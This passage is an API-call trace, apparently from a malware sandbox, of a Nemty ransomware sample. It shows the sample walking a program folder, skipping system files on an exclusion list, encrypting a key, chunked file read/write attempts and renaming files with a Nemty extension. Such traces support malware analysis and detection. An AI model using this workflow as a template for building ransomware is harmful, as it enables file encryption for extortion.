(HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0058.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_MATTE_PAL.wmv", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_trans_MATTE_PAL.wmv", lpUsedDefaultChar=0x0) returned 26 [0058.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0058.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0058.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0058.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0058.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_MATTE_PAL.wmv", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0058.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0058.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_MATTE_PAL.wmv", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_trans_MATTE_PAL.wmv", lpUsedDefaultChar=0x0) returned 26 [0058.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0058.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0058.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_MATTE_PAL.wmv", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0058.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0058.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_MATTE_PAL.wmv", cchWideChar=26, lpMultiByteStr=0x4f9ed58, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_trans_MATTE_PAL.wmv", lpUsedDefaultChar=0x0) returned 26 [0058.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0058.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0058.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0058.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0058.511] Sleep (dwMilliseconds=0x5) [0058.513] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd6860a50, dwHighDateTime=0x1d561e7)) [0058.513] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd6860a50, dwHighDateTime=0x1d561e7)) [0058.513] GetLastError () returned 0x5 [0058.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0058.513] GetLastError () returned 0x5 [0058.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0058.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0058.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0058.514] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0058.514] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0058.514] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0058.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0058.514] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="SR0cUQAeCBru81e+qX+tSXTczLdDBlkj2Ln7ov+o1qgChQWqNJAPsKuIQ0A05+Xg\r\nmQLZGPYuRe3pmQbL9Awhn+o1VmWh7orf1vpk2I/aMjZIiA2eBEfE5V5Pmv4ygONU\r\n0Zxi8ezI4CnZ4YRlmw+YOVbMaLMONAp5AYBHfiYTxaPJbXnUN7mC462RF47HBY6e\r\nyuz5VO20j6z15mgJZtjPChdT5pfDQTc5Dg2+WCKr7sOigJULK8Yx8JccPU5pkNws\r\nUxtlb7+HZZOrlGCGI+1DeNzZIMCucPBZGJGDAtPwQfdyTrKrRQKGcuxgMEaJ2VJn\r\nAgVrxZWY5w8AE4SmLfnqAw==\r\n", pcchString=0x653e91c) returned 1 [0058.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340260 [0058.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0058.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0058.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0058.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0058.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403d8 [0058.514] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.514] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0058.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0058.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.514] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.524] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.524] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.524] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.533] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.533] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.533] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.533] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.542] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.542] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.552] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.552] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.561] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.561] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.570] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.570] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.580] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.580] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.580] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.580] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.589] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.589] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.598] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.598] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.608] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.608] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.614] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.614] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.619] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.619] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.620] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0058.620] CloseHandle (hObject=0xffffffff) returned 0 [0058.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0058.620] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0058.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0058.620] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0058.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0058.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0058.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6344090 [0058.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6344148 [0058.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0058.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0058.620] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv._nemty_kgobjgd_")) returned 0 [0058.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344148 | out: hHeap=0x4f90000) returned 1 [0058.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0058.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0058.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0058.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0058.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0058.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0058.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0058.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0058.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0058.620] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b0649f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b0649f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b44779d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e31e, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="flower_trans_rgb.wmv", cAlternateFileName="")) returned 1 [0058.620] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2=".") returned 1 [0058.620] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="..") returned 1 [0058.620] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="...") returned 1 [0058.621] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="windows") returned -1 [0058.621] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="$RECYCLE.BIN") returned 1 [0058.621] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="rsa") returned -1 [0058.621] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="NTDETECT.COM") returned -1 [0058.621] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="ntldr") returned -1 [0058.621] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="MSDOS.SYS") returned -1 [0058.621] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="IO.SYS") returned -1 [0058.621] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="boot.ini") returned 1 [0058.621] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="boot.ini") returned 1 [0058.621] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0058.621] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="ntuser.dat") returned -1 [0058.621] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="desktop.ini") returned 1 [0058.621] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="CONFIG.SYS") returned 1 [0058.621] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="RECYCLER") returned -1 [0058.621] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="BOOTSECT.BAK") returned 1 [0058.621] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="bootmgr") returned 1 [0058.621] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="programdata") returned -1 [0058.621] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="appdata") returned 1 [0058.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0058.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_rgb.wmv", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0058.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0058.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_rgb.wmv", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_trans_rgb.wmv", lpUsedDefaultChar=0x0) returned 20 [0058.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0058.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0058.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_rgb.wmv", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0058.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0058.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_rgb.wmv", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_trans_rgb.wmv", lpUsedDefaultChar=0x0) returned 20 [0058.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0058.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0058.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0058.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0058.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_rgb.wmv", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0058.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0058.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_rgb.wmv", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_trans_rgb.wmv", lpUsedDefaultChar=0x0) returned 20 [0058.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0058.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0058.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_rgb.wmv", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0058.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 